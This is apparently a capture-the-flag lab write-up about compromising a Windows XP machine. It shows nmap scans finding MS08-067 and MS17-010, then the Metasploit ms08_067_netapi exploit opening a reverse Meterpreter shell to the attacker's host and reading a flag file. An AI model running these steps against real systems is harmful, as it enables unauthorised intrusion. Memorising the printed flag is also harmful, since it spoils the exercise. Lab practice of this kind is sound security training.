John(10.13.1.83)-GhostIA

Sarah Ferenczi

Enumeration

```
root@kali:~# nmap -sC -sV 10.13.1.83 --min-rate 4000
Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-14 16:29 EDT
Nmap scan report for 10.13.1.83
Host is up (0.28s latency).
Not shown: 996 closed ports
PORT     STATE SERVICE       VERSION
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds  Windows XP microsoft-ds
3389/tcp open  ms-wbt-server Microsoft Terminal Service
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: -44m57s, deviation: 1h24m50s, median: -1h44m57s
|_nbstat: NetBIOS name: JOHN-0C01A0642D, NetBIOS user: <unknown>, NetBIOS MAC: 00:0c:29:54:29:44 (VMware)
| smb-os-discovery:
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: john-0c01a0642d
|   NetBIOS computer name: JOHN-0C01A0642D\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-08-14T22:44:50+02:00
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 271.50 seconds
```

First I ran an nmap scan.

```
root@kali:~# nmap -p 445 --script smb-vuln* 10.13.1.83 --min-rate 4000
Starting Nmap 7.70 ( https://nmap.org ) at 2020-08-14 16:39 EDT
Nmap scan report for 10.13.1.83
Host is up (0.36s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb-vuln-ms08-067:
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|
|     Disclosure date: 2008-10-23
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

Nmap done: 1 IP address (1 host up) scanned in 9.11 seconds
```

Port 445 is used for smb which is typically vulnerable. I ran another nmap scan to see which vulnerabilities there were.

Exploitation

```
msf exploit(windows/smb/ms17_010_eternalblue) > search ms08-067
[!] Module database cache not built yet, using slow search

Matching Modules
================

   Name                                 Disclosure Date  Rank   Description
   ----                                 ---------------  ----   -----------
   exploit/windows/smb/ms08_067_netapi  2008-10-28       great  MS08-067 Microsoft Server Service Relati
ve Path Stack Corruption
```

```
msf exploit(windows/smb/ms17_010_eternalblue) > use exploit/windows/smb/ms08_067_netapi
```

I then searched for the exploit ms08-067 and put it in.

```
msf exploit(windows/smb/ms08_067_netapi) > set rhost 10.13.1.83
rhost => 10.13.1.83
msf exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 172.16.3.2:4444
[*] 10.13.1.83:445 - Automatically detecting the target...
[*] 10.13.1.83:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.13.1.83:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.13.1.83:445 - Attempting to trigger the vulnerability...
[*] Sending stage (179779 bytes) to 10.13.1.83
[*] Meterpreter session 1 opened (172.16.3.2:4444 -> 10.13.1.83:1032) at 2020-08-14 16:43:10 -0400

meterpreter >
```

Then added the ip address and exploited to get a shell

```
meterpreter > cd "Documents and Settings"/Administrator/Desktop
meterpreter >
```

I then navigated to where the key is located

```
meterpreter > cat key.txt
hbbja4okjkr1hamuycbmeterpreter
```